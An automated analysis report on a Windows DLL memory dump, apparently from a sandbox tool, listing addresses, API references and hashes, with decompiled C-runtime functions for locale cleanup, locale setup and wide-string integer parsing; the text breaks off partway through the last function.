0x6ed290d2
0x6ed290d7
0x6ed290da
0x6ed290dd
0x6ed290df
0x6ed290e2
0x6ed290e7
0x6ed290ee
0x6ed290f1
0x6ed290f4
0x6ed290f7
0x6ed290fb
0x6ed290fe
0x6ed290fe
0x6ed29101
0x6ed29101
0x6ed29104
0x6ed2910a
0x6ed2910f
0x6ed29112
0x6ed2911a
0x6ed29122
0x6ed29127
0x6ed2912f
0x6ed29135
0x6ed29138
0x6ed2913d
0x6ed29140
0x6ed29145
0x6ed29148
0x6ed2914c
0x6ed2914f
0x6ed29154
0x00000000
0x6ed29156
0x6ed29159
0x6ed2915c
0x6ed2915c
0x00000000
0x6ed29096
0x6ed29096
0x6ed29099
0x6ed2909b
0x00000000
0x6ed290a1
0x6ed290a7
0x6ed290a9
0x6ed290ae
0x6ed2929e
0x6ed2929e
0x00000000
0x6ed290b4
0x6ed290b4
0x6ed290b7
0x6ed290ba
0x00000000
0x6ed290ba
0x6ed290ae
0x6ed2909b
0x6ed29094
0x6ed29085
0x6ed2906f
0x6ed2901a
0x6ed2900a
0x6ed28f9c
0x6ed28f77
0x6ed28f5c
0x00000000
0x6ed28f2f
0x00000000
0x6ed28f10
0x6ed28f02
0x00000000

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,line,000000FF,00000000,00000000,?,00000000,3F169FAE,7504D5B0,00000000), ref: 6ED28F44
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6ED28F52
MultiByteToWideChar.KERNEL32(00000003,00000000,line,000000FF,00000000,00000000,?,00000000,3F169FAE,7504D5B0,00000000), ref: 6ED28F6F
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6ED28F88
SysFreeString.OLEAUT32(00000000), ref: 6ED28F97
SysFreeString.OLEAUT32(00000000), ref: 6ED29234
SysFreeString.OLEAUT32(00000000), ref: 6ED29286
_com_issue_error.COMSUPP ref: 6ED29294
Concurrency::cancel_current_task.LIBCPMT ref: 6ED29299
SysFreeString.OLEAUT32(7504D5B0), ref: 6ED292A4

Strings

Arial, xrefs: 6ED28FAD
line, xrefs: 6ED28F3B, 6ED28F66

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$ByteCharMultiWide$AllocBstrConcurrency::cancel_current_task_com_issue_error
String ID: Arial$line
API String ID: 3866382671-367345269
Opcode ID: 307c87df0178c8a376e8de35cf8b8cd52a6dab63b1ca978feacdd28d8383935c
Instruction ID: debd96dff5c5b60e583eb06a900e0bbd52815cf6faf63c6ff539bfbd633e978b
Opcode Fuzzy Hash: 307c87df0178c8a376e8de35cf8b8cd52a6dab63b1ca978feacdd28d8383935c
Instruction Fuzzy Hash: A1E1CD70D00319DFEB10CFE4C994BAEBBB9AF45318F20466DE505AB380D774AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED51B90, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6ED51B90(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x6ed6d050) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E6ED48252(_t46);
							E6ED53317( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E6ED48252(_t47);
							E6ED537CE( *((intOrPtr*)(_t74 + 0x88)));
						}
						E6ED48252( *((intOrPtr*)(_t74 + 0x7c)));
						E6ED48252( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E6ED48252( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E6ED48252( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E6ED48252( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E6ED48252( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E6ED51D03( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x6ed6d250) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E6ED48252(_t31);
							E6ED48252( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E6ED48252(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E6ED48252(_t74);
			}

0x6ed51b98
0x6ed51b9c
0x6ed51ba4
0x6ed51bad
0x6ed51bb2
0x6ed51bb9
0x6ed51bc1
0x6ed51bc9
0x6ed51bd4
0x6ed51bda
0x6ed51bdb
0x6ed51be3
0x6ed51beb
0x6ed51bf6
0x6ed51bfc
0x6ed51c00
0x6ed51c0b
0x6ed51c11
0x6ed51bb2
0x6ed51c12
0x6ed51c1a
0x6ed51c2d
0x6ed51c40
0x6ed51c4e
0x6ed51c59
0x6ed51c5e
0x6ed51c67
0x6ed51c6f
0x6ed51c70
0x6ed51c76
0x6ed51c79
0x6ed51c7c
0x6ed51c83
0x6ed51c85
0x6ed51c89
0x6ed51c91
0x6ed51c98
0x6ed51c9e
0x6ed51c9f
0x6ed51c9f
0x6ed51ca6
0x6ed51ca8
0x6ed51cad
0x6ed51cb5
0x6ed51cba
0x6ed51cbb
0x6ed51cbb
0x6ed51cbe
0x6ed51cc1
0x6ed51cc4
0x6ed51cc7
0x6ed51cc7
0x6ed51cd9

APIs

___free_lconv_mon.LIBCMT ref: 6ED51BD4

Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED53334
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED53346
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED53358
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED5336A
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED5337C
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED5338E
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533A0
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533B2
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533C4
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533D6
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533E8
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533FA
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED5340C

_free.LIBCMT ref: 6ED51BC9

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED51BEB
_free.LIBCMT ref: 6ED51C00
_free.LIBCMT ref: 6ED51C0B
_free.LIBCMT ref: 6ED51C2D
_free.LIBCMT ref: 6ED51C40
_free.LIBCMT ref: 6ED51C4E
_free.LIBCMT ref: 6ED51C59
_free.LIBCMT ref: 6ED51C91
_free.LIBCMT ref: 6ED51C98
_free.LIBCMT ref: 6ED51CB5
_free.LIBCMT ref: 6ED51CCD

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: a6885b374e7844ea700eee6ccf13ad40dc508030fd8046934324518d87ce4309
Instruction ID: a25f1a26d3174950758de3020cd5a8a738b9f46778263f7ada33bbba8ea5c8c2
Opcode Fuzzy Hash: a6885b374e7844ea700eee6ccf13ad40dc508030fd8046934324518d87ce4309
Instruction Fuzzy Hash: A0318F31644A05DFEF509FB9D980B96B3E8FF40358F108C29E469D7294DF32E8A48B60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED53415, Relevance: 18.4, APIs: 12, Instructions: 375
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E6ED53415(void* __edx, char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				char _v28;
				signed int _t105;
				signed int _t115;
				signed int _t117;
				signed int _t121;
				signed int _t125;
				signed int _t129;
				signed int _t133;
				signed int _t137;
				signed int _t141;
				signed int _t145;
				signed int _t149;
				signed int _t153;
				signed int _t157;
				signed int _t161;
				signed int _t165;
				signed int _t169;
				signed int _t173;
				signed int _t177;
				signed int _t181;
				signed int _t185;
				signed int _t189;
				char _t195;
				intOrPtr* _t196;
				char _t209;
				signed int _t212;
				char _t221;
				char _t222;
				void* _t225;
				char* _t227;
				signed int _t228;
				signed int _t232;
				signed int _t233;
				intOrPtr _t234;
				void* _t235;
				void* _t237;
				char* _t258;

				_t225 = __edx;
				_t209 = _a4;
				_v16 = 0;
				_v28 = _t209;
				_v24 = 0;
				if( *((intOrPtr*)(_t209 + 0xac)) != 0 ||  *((intOrPtr*)(_t209 + 0xb0)) != 0) {
					_t235 = E6ED4B406(1, 0x50);
					_v8 = _t235;
					E6ED48252(0);
					if(_t235 != 0) {
						_t228 = E6ED4B406(1, 4);
						_v12 = _t228;
						E6ED48252(0);
						if(_t228 != 0) {
							if( *((intOrPtr*)(_t209 + 0xac)) == 0) {
								_t212 = 0x14;
								memcpy(_v8, 0x6ed6d050, _t212 << 2);
								L24:
								_t237 = _v8;
								_t232 = _v16;
								 *_t237 =  *( *(_t209 + 0x88));
								 *((intOrPtr*)(_t237 + 4)) =  *((intOrPtr*)( *(_t209 + 0x88) + 4));
								 *((intOrPtr*)(_t237 + 8)) =  *((intOrPtr*)( *(_t209 + 0x88) + 8));
								 *((intOrPtr*)(_t237 + 0x30)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x30));
								 *((intOrPtr*)(_t237 + 0x34)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x34));
								 *_v12 = 1;
								if(_t232 != 0) {
									 *_t232 = 1;
								}
								goto L26;
							}
							_t233 = E6ED4B406(1, 4);
							_v16 = _t233;
							E6ED48252(0);
							if(_t233 != 0) {
								_t234 =  *((intOrPtr*)(_t209 + 0xac));
								_t14 = _t235 + 0xc; // 0xc
								_t115 = E6ED4DBB5(_t225);
								_t117 = E6ED4DBB5(_t225,  &_v28, 1, _t234, 0x14, _v8 + 0x10,  &_v28);
								_t121 = E6ED4DBB5(_t225,  &_v28, 1, _t234, 0x16, _v8 + 0x14, 1);
								_t125 = E6ED4DBB5(_t225,  &_v28, 1, _t234, 0x17, _v8 + 0x18, _t234);
								_v20 = _v8 + 0x1c;
								_t129 = E6ED4DBB5(_t225,  &_v28, 1, _t234, 0x18, _v8 + 0x1c, 0x15);
								_t133 = E6ED4DBB5(_t225,  &_v28, 1, _t234, 0x50, _v8 + 0x20, _t14);
								_t137 = E6ED4DBB5(_t225);
								_t141 = E6ED4DBB5(_t225,  &_v28, 0, _t234, 0x1a, _v8 + 0x28,  &_v28);
								_t145 = E6ED4DBB5(_t225,  &_v28, 0, _t234, 0x19, _v8 + 0x29, 1);
								_t149 = E6ED4DBB5(_t225,  &_v28, 0, _t234, 0x54, _v8 + 0x2a, _t234);
								_t153 = E6ED4DBB5(_t225,  &_v28, 0, _t234, 0x55, _v8 + 0x2b, 0x51);
								_t157 = E6ED4DBB5(_t225,  &_v28, 0, _t234, 0x56, _v8 + 0x2c, _v8 + 0x24);
								_t161 = E6ED4DBB5(_t225);
								_t165 = E6ED4DBB5(_t225,  &_v28, 0, _t234, 0x52, _v8 + 0x2e,  &_v28);
								_t169 = E6ED4DBB5(_t225,  &_v28, 0, _t234, 0x53, _v8 + 0x2f, 0);
								_t173 = E6ED4DBB5(_t225,  &_v28, 2, _t234, 0x15, _v8 + 0x38, _t234);
								_t177 = E6ED4DBB5(_t225,  &_v28, 2, _t234, 0x14, _v8 + 0x3c, 0x57);
								_t181 = E6ED4DBB5(_t225,  &_v28, 2, _t234, 0x16, _v8 + 0x40, _v8 + 0x2d);
								_push(_v8 + 0x44);
								_push(0x17);
								_push(_t234);
								_t185 = E6ED4DBB5(_t225);
								_t189 = E6ED4DBB5(_t225,  &_v28, 2, _t234, 0x50, _v8 + 0x48,  &_v28);
								if((E6ED4DBB5(_t225,  &_v28, 2, _t234, 0x51, _v8 + 0x4c, 2) | _t115 | _t117 | _t121 | _t125 | _t129 | _t133 | _t137 | _t141 | _t145 | _t149 | _t153 | _t157 | _t161 | _t165 | _t169 | _t173 | _t177 | _t181 | _t185 | _t189) == 0) {
									_t227 =  *_v20;
									while(1) {
										_t195 =  *_t227;
										if(_t195 == 0) {
											break;
										}
										_t61 = _t195 - 0x30; // -48
										_t221 = _t61;
										if(_t221 > 9) {
											if(_t195 != 0x3b) {
												L16:
												_t227 = _t227 + 1;
												continue;
											}
											_t258 = _t227;
											do {
												_t196 = _t258 + 1;
												_t222 =  *_t196;
												 *_t258 = _t222;
												_t258 = _t196;
											} while (_t222 != 0);
											continue;
										}
										 *_t227 = _t221;
										goto L16;
									}
									goto L24;
								}
								E6ED53317(_v8);
								E6ED48252(_v8);
								E6ED48252(_v12);
								E6ED48252(_v16);
								goto L4;
							}
							E6ED48252(_t235);
							E6ED48252(_v12);
							L7:
							goto L4;
						}
						E6ED48252(_t235);
						goto L7;
					}
					L4:
					return 1;
				} else {
					_t232 = 0;
					_v12 = 0;
					_t237 = 0x6ed6d050;
					L26:
					_t105 =  *(_t209 + 0x84);
					if(_t105 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t209 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t105 | 0xffffffff) == 0) {
							E6ED48252( *(_t209 + 0x88));
							E6ED48252( *((intOrPtr*)(_t209 + 0x7c)));
						}
					}
					 *((intOrPtr*)(_t209 + 0x7c)) = _v12;
					 *(_t209 + 0x84) = _t232;
					 *(_t209 + 0x88) = _t237;
					return 0;
				}
			}

0x6ed53415
0x6ed5341e
0x6ed53425
0x6ed53428
0x6ed5342b
0x6ed53434
0x6ed53456
0x6ed5345a
0x6ed5345d
0x6ed53467
0x6ed5347a
0x6ed5347e
0x6ed53481
0x6ed5348b
0x6ed5349d
0x6ed53730
0x6ed53731
0x6ed53733
0x6ed5373b
0x6ed5373f
0x6ed53744
0x6ed5374f
0x6ed5375b
0x6ed53767
0x6ed53773
0x6ed53779
0x6ed5377d
0x6ed5377f
0x6ed5377f
0x00000000
0x6ed5377d
0x6ed534ac
0x6ed534b0
0x6ed534b3
0x6ed534bd
0x6ed534d1
0x6ed534d7
0x6ed534e4
0x6ed534fb
0x6ed53512
0x6ed53529
0x6ed53539
0x6ed53546
0x6ed5355d
0x6ed53574
0x6ed5358b
0x6ed535a5
0x6ed535bc
0x6ed535d3
0x6ed535ea
0x6ed53604
0x6ed5361b
0x6ed53632
0x6ed53649
0x6ed53663
0x6ed5367a
0x6ed53687
0x6ed53688
0x6ed5368a
0x6ed53691
0x6ed536a8
0x6ed536cc
0x6ed536fa
0x6ed53709
0x6ed53709
0x6ed5370d
0x00000000
0x00000000
0x6ed536fe
0x6ed536fe
0x6ed53704
0x6ed53713
0x6ed53708
0x6ed53708
0x00000000
0x6ed53708
0x6ed53715
0x6ed53717
0x6ed53717
0x6ed5371a
0x6ed5371c
0x6ed5371e
0x6ed53720
0x00000000
0x6ed53724
0x6ed53706
0x00000000
0x6ed53706
0x00000000
0x6ed5370f
0x6ed536d2
0x6ed536d8
0x6ed536e1
0x6ed536ea
0x00000000
0x6ed536ef
0x6ed534c0
0x6ed534c9
0x6ed53493
0x00000000
0x6ed53493
0x6ed5348e
0x00000000
0x6ed5348e
0x6ed53469
0x00000000
0x6ed5343e
0x6ed5343e
0x6ed53440
0x6ed53443
0x6ed53781
0x6ed53781
0x6ed53789
0x6ed5378b
0x6ed5378b
0x6ed53793
0x6ed53798
0x6ed5379c
0x6ed537a4
0x6ed537ac
0x6ed537b2
0x6ed5379c
0x6ed537b6
0x6ed537bb
0x6ed537c1
0x00000000
0x6ed537c1

APIs

_free.LIBCMT ref: 6ED5345D
_free.LIBCMT ref: 6ED53481
_free.LIBCMT ref: 6ED5348E
_free.LIBCMT ref: 6ED534B3
_free.LIBCMT ref: 6ED534C0
_free.LIBCMT ref: 6ED534C9
_free.LIBCMT ref: 6ED537A4
_free.LIBCMT ref: 6ED537AC

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 3b1372a8fe63159bb37ce751375c539f9ab6a182523004b1093d7b71c211c318
Instruction ID: 2a24a0c4f16316872505ed78089d5efa5570cdda0cbf77c8a0a6bf802d043197
Opcode Fuzzy Hash: 3b1372a8fe63159bb37ce751375c539f9ab6a182523004b1093d7b71c211c318
Instruction Fuzzy Hash: 20C11DB6E40208EFDB20CBE8CC86FDA77FCAB59744F144565FA44FB285D67099418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED438F1, Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 493
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E6ED438F1(intOrPtr _a4, signed int _a8, intOrPtr* _a12, signed int _a16, signed char _a20) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed short* _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed short* _v188;
				char _v192;
				char _v204;
				signed short* _t190;
				signed int _t192;
				signed int _t193;
				signed int _t195;
				signed int _t196;
				signed int _t197;
				intOrPtr _t199;
				intOrPtr _t200;
				signed char _t203;
				signed int _t207;
				signed int _t208;
				signed int _t210;
				signed int _t215;
				signed int _t222;
				signed short* _t223;
				signed int _t225;
				signed int _t226;
				signed int _t228;
				signed short* _t229;
				intOrPtr _t234;
				signed int _t235;
				signed short* _t236;
				signed int _t237;
				signed int _t238;
				signed int _t239;
				intOrPtr _t241;
				void* _t244;
				signed int _t246;
				signed int _t248;
				void* _t249;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed short* _t254;
				signed int _t255;
				intOrPtr* _t257;
				signed short _t258;

				if(E6ED3CFD7( &_a8) == 0) {
					L5:
					_t251 = 0;
					_t222 = 0;
					L6:
					_t257 = _a12;
					if(_t257 != 0) {
						 *_t257 = _a8;
					}
					return _t251;
				}
				_t252 = _a16;
				if(_t252 == 0) {
					L9:
					_t232 =  &_v204;
					E6ED3B771( &_v204, _t244, _a4);
					_v12 = 0;
					_v24 = 0;
					_t190 = _a8;
					_v188 = _t190;
					L11:
					_t258 =  *_t190 & 0x0000ffff;
					_a8 =  &(_t190[1]);
					_t192 = E6ED4B463(_t232, _t258, 8);
					_pop(_t232);
					__eflags = _t192;
					if(_t192 != 0) {
						_t190 = _a8;
						goto L11;
					}
					_t193 = _a20 & 0x000000ff;
					_v8 = _t193;
					__eflags = _t258 - 0x2d;
					if(_t258 != 0x2d) {
						__eflags = _t258 - 0x2b;
						if(_t258 != 0x2b) {
							_t223 = _a8;
							goto L17;
						}
						goto L15;
					} else {
						_v8 = _t193 | 0x00000002;
						L15:
						_t229 = _a8;
						_t258 =  *_t229 & 0x0000ffff;
						_t223 =  &(_t229[1]);
						_a8 = _t223;
						L17:
						_t246 = _t258 & 0x0000ffff;
						_v20 = 0x3a;
						_v168 = 0x660;
						_v28 = 0x66a;
						_v32 = 0x6f0;
						_v36 = 0x6fa;
						_v40 = 0x966;
						_v44 = 0x970;
						_v48 = 0x9e6;
						_v52 = 0x9f0;
						_v56 = 0xa66;
						_v60 = 0xa70;
						_v64 = 0xae6;
						_v68 = 0xaf0;
						_v72 = 0xb66;
						_v76 = 0xb70;
						_v80 = 0xc66;
						_v84 = 0xc70;
						_v88 = 0xce6;
						_v92 = 0xcf0;
						_v96 = 0xd66;
						_v100 = 0xd70;
						_v104 = 0xe50;
						_v108 = 0xe5a;
						_v112 = 0xed0;
						_v116 = 0xeda;
						_v120 = 0xf20;
						_v124 = 0xf2a;
						_v128 = 0x1040;
						_v132 = 0x104a;
						_v136 = 0x17e0;
						_v140 = 0x17ea;
						_v144 = 0x1810;
						_v148 = 0x181a;
						_v152 = 0xff1a;
						_v156 = 0x41;
						_v160 = 0x5a;
						_v16 = 0x19;
						_t234 = 0x30;
						__eflags = _t252;
						if(_t252 == 0) {
							L19:
							__eflags = _t258 - _t234;
							if(_t258 < _t234) {
								L60:
								__eflags = _v156 - _t258;
								if(_v156 > _t258) {
									L63:
									_t195 = _t258 - 0x61;
									_t235 = _t195 & 0x0000ffff;
									__eflags = _t195 - _v16;
									if(_t195 > _v16) {
										_t196 = _t195 | 0xffffffff;
										__eflags = _t196;
										L68:
										__eflags = _t196;
										if(_t196 == 0) {
											_t197 =  *_t223 & 0x0000ffff;
											_t236 =  &(_t223[1]);
											_a8 = _t236;
											__eflags = _t197 - 0x78;
											if(_t197 == 0x78) {
												L76:
												__eflags = _t252;
												if(_t252 == 0) {
													_t252 = 0x10;
													_a16 = _t252;
												}
												_t258 =  *_t236 & 0x0000ffff;
												_t237 =  &(_t236[1]);
												__eflags = _t237;
												_a8 = _t237;
												L79:
												_t198 = _t252;
												asm("cdq");
												_push(_t223);
												_t238 = _t246;
												_v184 = _t252;
												_v180 = _t238;
												_t199 = E6ED576E0(0xffffffff, 0xffffffff, _t198, _t238);
												_v172 = _t223;
												_t225 = _t246;
												_v176 = _t238;
												_v164 = _t199;
												_v20 = _t225;
												while(1) {
													_t200 = 0x30;
													_t239 = _t258 & 0x0000ffff;
													__eflags = _t258 - _t200;
													if(_t258 < _t200) {
														goto L120;
													}
													_t249 = 0x3a;
													__eflags = _t258 - _t249;
													if(_t258 >= _t249) {
														_t200 = 0xff10;
														__eflags = _t258 - 0xff10;
														if(_t258 >= 0xff10) {
															__eflags = _t258 - _v152;
															if(_t258 < _v152) {
																goto L82;
															}
															_t253 = _t252 | 0xffffffff;
															__eflags = _t253;
															L119:
															__eflags = _t253 - 0xffffffff;
															if(_t253 != 0xffffffff) {
																L127:
																__eflags = _t253 - 0xffffffff;
																if(_t253 == 0xffffffff) {
																	L141:
																	E6ED44026( &_a8, _t258);
																	_t203 = _v8;
																	__eflags = _t203 & 0x00000008;
																	if((_t203 & 0x00000008) != 0) {
																		_t222 = _v24;
																		_t251 = _v12;
																		__eflags = E6ED3D880(_t203, _t251, _t222);
																		if(__eflags == 0) {
																			__eflags = _v8 & 0x00000002;
																			if((_v8 & 0x00000002) != 0) {
																				_t251 =  ~_t251;
																				asm("adc ebx, 0x0");
																				_t222 =  ~_t222;
																			}
																			L152:
																			__eflags = _v192;
																			if(_v192 != 0) {
																				 *(_v204 + 0x350) =  *(_v204 + 0x350) & 0xfffffffd;
																			}
																			goto L6;
																		}
																		 *((intOrPtr*)(E6ED44A9C(__eflags))) = 0x22;
																		_t207 = _v8;
																		__eflags = _t207 & 0x00000001;
																		if((_t207 & 0x00000001) != 0) {
																			__eflags = _t207 & 0x00000002;
																			if((_t207 & 0x00000002) == 0) {
																				_t208 = _t207 | 0xffffffff;
																				__eflags = _t208;
																				_t222 = 0x7fffffff;
																			} else {
																				_t208 = 0;
																				_t222 = 0x80000000;
																			}
																			L149:
																			_t251 = _t208;
																			goto L152;
																		}
																		_t251 = _t251 | 0xffffffff;
																		_t222 = _t222 | 0xffffffff;
																		goto L152;
																	}
																	_a8 = _v188;
																	_t208 = 0;
																	_t222 = 0;
																	goto L149;
																}
																__eflags = _t253 - _a16;
																if(_t253 >= _a16) {
																	goto L141;
																}
																_t210 = _v24;
																_t248 = _v8 | 0x00000008;
																__eflags = _t210 - _t225;
																_v8 = _t248;
																_t226 = _v12;
																if(__eflags < 0) {
																	L138:
																	__eflags = 0;
																	L139:
																	_t228 = E6ED574E0(_v184, _v180, _t226, _t210) + _t253;
																	__eflags = _t228;
																	_v12 = _t228;
																	asm("adc eax, esi");
																	_v24 = _t248;
																	L140:
																	_t254 = _a8;
																	_t225 = _v20;
																	_t258 =  *_t254 & 0x0000ffff;
																	_t252 =  &(_t254[1]);
																	_a8 = _t252;
																	continue;
																}
																_t241 = _v164;
																if(__eflags > 0) {
																	L132:
																	__eflags = _t226 - _t241;
																	if(_t226 != _t241) {
																		L137:
																		_v8 = _t248 | 0x00000004;
																		goto L140;
																	}
																	__eflags = _t210 - _v20;
																	if(_t210 != _v20) {
																		goto L137;
																	}
																	__eflags = 0 - _v172;
																	if(__eflags < 0) {
																		goto L139;
																	}
																	if(__eflags > 0) {
																		goto L137;
																	}
																	__eflags = _t253 - _v176;
																	if(_t253 <= _v176) {
																		goto L139;
																	}
																	goto L137;
																}
																__eflags = _t226 - _t241;
																if(_t226 < _t241) {
																	goto L138;
																}
																goto L132;
															}
															goto L120;
														}
														_t200 = _v168;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v28;
														if(_t258 < _v28) {
															goto L82;
														}
														_t200 = _v32;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v36;
														if(_t258 < _v36) {
															goto L82;
														}
														_t200 = _v40;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v44;
														if(_t258 < _v44) {
															goto L82;
														}
														_t200 = _v48;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v52;
														if(_t258 < _v52) {
															goto L82;
														}
														_t200 = _v56;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v60;
														if(_t258 < _v60) {
															goto L82;
														}
														_t200 = _v64;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v68;
														if(_t258 < _v68) {
															goto L82;
														}
														_t200 = _v72;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v76;
														if(_t258 < _v76) {
															goto L82;
														}
														_t200 = _v80;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v84;
														if(_t258 < _v84) {
															goto L82;
														}
														_t200 = _v88;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v92;
														if(_t258 < _v92) {
															goto L82;
														}
														_t200 = _v96;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v100;
														if(_t258 < _v100) {
															goto L82;
														}
														_t200 = _v104;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v108;
														if(_t258 < _v108) {
															goto L82;
														}
														_t200 = _v112;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v116;
														if(_t258 < _v116) {
															goto L82;
